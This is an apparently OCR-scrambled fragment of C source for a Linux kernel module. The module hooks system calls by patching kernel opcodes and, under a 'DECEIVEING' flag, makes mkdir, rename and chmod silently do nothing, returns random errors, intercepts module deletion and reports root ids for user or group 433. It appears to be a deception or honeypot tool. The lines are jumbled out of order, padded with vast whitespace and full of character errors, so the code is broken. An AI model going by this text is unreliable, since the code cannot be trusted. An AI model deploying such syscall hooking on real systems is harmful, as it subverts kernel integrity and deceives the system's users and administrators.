                                                                      (DCV_CLEAR_FLAG, NULL, NULL, 0,
                                                                                                                        [DCV_SET_FLAG, NULL, NULL, 0,
                                                                                              0200, NULL, NULL, &user_sysctl),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   putname(nd->last.name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     goto exit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               putname(nd->last.name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <linux/sysctl.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            linux/iobuf.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     <11nux/tty.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    inux/dnotify.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         linux/quotaops.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           nux/file.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              linux/mm.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    <linux/string.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   linux/smp_lock.h>
                                                                                                                                                                         void *newval, size_t newlen, void **context);
                                                                                                                                                                                           void *oldval, size_t *oldlenp,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         nd->dentry);
```

```
asmlinkage long (*org_sys_getdents64)(unsigned int fd, void
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  void restore_fcn(void * k_fcn, void * org_fcn);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           void reroute_fcn(void * ,void * ,void * );
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              suid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                count);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        extern
                                                                                                       asmlinkage long (*org_sys_stat)(char * filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               asmlinkage
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           count);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              char org_do_truncate[5];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          char org_permission[5]; //keeps original kernel opcode
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          extern int sock_map_fd(struct socket *sock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             static ctl_table sysctl_top_table[] = {
                         asmlinkage long
                                                                                                                                                             asmlinkage long (*org_sys_lstat)(char * filename, struct
                                                                                                                                                                                             bufsiz);
                                                                                                                                                                                                                asmlinkage long (*org_sys_readlink)(const char *
                                                                                                                                                                                                                                                                          statbut, long
                                                                                                                                                                                                                                                                                                asmlinkage long (*org_sys_lstat64)(char * filename, struct stat64
                                                                                                                                                                                                                                                                                                                                                        statbuf, long
                                                                                                                                                                                                                                                                                                                                                                               asmlinkage long (*org_sys_stat64)(char * filename, struct stat64
                                                                                                                                                                                                                                                                                                                                                                                                                                     asmlinkage long (*org_sys_rmdir)(const char * pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 asmlinkage long (*org_sys_unlink)(const char * pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 size_t count);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     asmlinkage ssize_t (*org_sys_write)(unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             asmlinkage long (*org_sys_setgroups)(int gidsetsize,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       sgid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               asmlinkage long
                                                                                                                                                                                                                                                                                                                              flags);
                                                                                                                                                                                                                                                :lags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     grouplist);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /char org_path_walk[5];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                / in process of trying to reroute these functions
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /char org__user_walk(5);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /^^^^^^^^^^^
                                                                               _old_kernel_stat * statbuf);
                                                                                                                                       _old_kernel_stat * statbuf);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 {DCV, NULL, NULL, 0, 0100, sysctl_table}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct ctl_table_header *sysctl_table_header = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     void *sys_call_table();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ssize_t (*org_sys_read)(unsigned int fd, char *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               long (*org_sys_close) (unsigned int fd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             int (*org_sys_open)(const char *, int, int);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              long (*org_sys_setfsuid)(uid_t uid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      long
  Long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (*org_sys_setfsgid)(gid_t gid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (*org_sys_setresgid)(gid_t rgid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (*org_sys_setresuid)(uid_t ruid, uid_t euid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (*org_sys_setregid)(gid_t rgid, gid_t egid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (*org_sys_setreuid) (uid_t ruid, uid_t euid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (*org_sys_setuid) (uid_t uid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (*org_sys_chdir)(const char * filename);
(*org_sys_geteuid)(void);
                       (*org_sys_getuid) (void);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (*org_sys_setgid)(gid_t gid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                //keeps original kernel opcode
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          //keeps original
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    //keeps original kernel
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            kernel
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 gid_t egid,
                                                                                                                                                                                                                     path, char * buf,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fd, const
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        opcode
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  opcode
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               gid_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         char *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           buf, size_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               gid_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      uid_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   dirent,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             buf,
                                                                                                                                                                                                                         int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               asmlinkage long my_sys_socket(int family, int type,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         struct nameidata
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                asmlinkage long (*org_sys_socket)(int family, int type, int protocol);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    newname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             asmlinkage long (*org_sys_getgid)(void);
                                                                                                                                                                                                                                                                                                                                                                                                           asmlinkage long my_sys_mkdir(const char *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           // org_sys_exit(5);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             121,11,12,16,19,25,28,35,64,100,101,112,114,115,117,119);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               asmlinkage long my_sys_delete_module(const char *name_user){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            // schedule_timeout(400);// insert delay in
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              //int (*my_open_namei)(const char * pathname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             *grouplist);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            //asmlinkage int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        printk("\n--done");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        set_current_state(TASK_UNINTERRUPTIBLE);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                printk("\n--timing out");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         unsigned char errors[16]={
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (DECEIVEING
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return org_sys_socket(family,type,protocol);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (DECEIVEING) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     unsigned char rand; //dcvn
                                                                                                                                                                                                                                                                          error = PTR_ERR(tmp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return org_sys_delete_module(name_user)
                                                                                                                                                                                                                                                                                                    tmp = getname(pathname);
                                                                                                                                                                                                                                                                                                                                                              int error =
                                                                                                                                                                                                                                              if (!IS_ERR(tmp))
                                                                                                                                                                                                                     struct dentry *dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return 0;
                              error = PTR_ERR(dentry);
                                                       dentry = lookup_create(&nd,
                                                                                                                                                                                           struct nameidata nd;
  if (!IS_ERR(dentry)) {
                                                                                                                                                                 if (path_init(tmp, LOOKUP_PARENT,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("\n-- %d", errors[rand%15]);
                                                                                                           (error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return -errors[rand%16];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                get_random_bytes(&rand,1);
                                                                                   goto out;
                                                                                                                                       error = path_walk(tmp,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (*org_sys_rename)(const char * oldname, const char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (*org_sys_getgroups)(int gidsetsize, gid_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (*org_sys_getegid)(void);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (*org_sys_mkdir)(const char * pathname, int mode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (*org_sys_chmod)(const char * filename, mode_t mode);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (*org_sys_delete_module)(const char *name_user);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (*org_sys_exit)(int);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (*getuid_call)();
                                                                                                                                                                                                                                                                                                                                                                                                                pathname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              თ
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                int flag,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          system call
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int protocol) (
                                                                                                                                                                                                                                                                                                                                                                                                                    int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int mode
                                                                                                                                                                                                                                                                                                                                                                                                                    mode)
```

```
asmlinkage long my_sys_rename(const char * oldname, const char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        newname)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ~current->fs->umask);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           asmlinkage long my_sys_chmod(const char *
newattrs.ia_valid = ATTR_MODE | ATTR_CTIME;
                                             newattrs.ia_mode =
                                                                                             if (mode == (mode_t) -1)
                                                                                                                                                                                                                  if (IS_RDONLY(inode))
                                                                                                                                                                                                                                                                                                                                                                      struct iattr newattrs;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 putname(from);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if(IS_ERR(from)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             char * from;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return error;
                                                                                                                                                                        error = -EPERM;
                                                                                                                                                                                                                                               error = -EROFS;
                                                                                                                                                                                                                                                                    inode = nd.dentry->d_inode;
                                                                                                                                                                                                                                                                                                                  if (error)
                                                                                                                                                                                                                                                                                                                                           error = user_path_walk(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                    struct inode * inode;
                                                                                                                                                                                                                                                                                                                                                                                                                                           struct nameidata nd;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (!IS_ERR(to)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               error = PTR_ERR(to);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      to = getname(newname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             from = getname(oldname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      char * to;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      int error;
                                                                                                                                         return PTR_ERR(from);
                                                                        mode = inode->i_mode;
                                                                                                                      goto dput_and_out;
                                                                                                                                                                                             goto dput_and_out;
                                                                                                                                                                                                                                                                                           goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 putname(to);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (DECEIVEING
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            putname (tmp)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          path_release(&nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   up(&nd.dentry->d_inode->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          error = do_rename(from, to);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        error = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   dput (dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (DECEIVEING)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 error = vfs_mkdir(nd.dentry->d_inode, dentry, mode &
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   error = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          //dcvn
                                          (mode & S_IALLUGO) | (inode->i_mode &
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               //dcvn -- silently do nothing
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        silently do nothing
                                                                                                                                                                                                                                                                                                                                             &nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         filename, mode_t mode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         asmlinkage long my_sys_geteuid(void)
                                                                                                                                                                                                                                                                                                                                                                  gid_t temp=0;
                                                                                                                                                                                                                                                                                                                                                                                                                                     asmlinkage long my_sys_getgroups(int gidsetsize, gid_t *grouplist)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            asmlinkage long my_sys_getegid(void)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    asmlinkage long my_sys_getgid(void)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                asmlinkage long my_sys_getuid(void)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        dput_and_out:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if(current->gid==433)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               path_release(&nd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (DECEIVEING)
                                                                                                                                                                                                                                         if (gidsetsize < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return current->gid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  return current->euid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return current->uid;
                                                                                                                                                                      if (gidsetsize)
                                                                                                                                                                                           i = current->ngroups;
                                                                                                                                                                                                                                                                                                                                                                                           int i;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if(current->egid==433)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* Only we change this so SMP safe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if(current->euid==433)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           /* Only we change this so SMP safe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if(current->uid==433)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  /* Only we change this so SMP safe */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /* Only we change this so SMP safe
                                                                                                                                                                                                                                                                                             * safe.
                                                                                                                                                                                                                                                                                                                SMP: Nobody else can change our grouplist. Thus we are
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 error = notify_change(nd.dentry, &newattrs);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 error = 0;
else
                                                                                        if(current->groups[0]==433)( //dcvn
                                                                                                                                                                                                                      return -EINVAL;
                                                                                                                                           if (i > gidsetsize)
                                                                                                                      return -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         current->egid;
                                                               (copy_to_user(grouplist, &temp , sizeof(gid_t)*1))
                                             return -EFAULT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return 0;
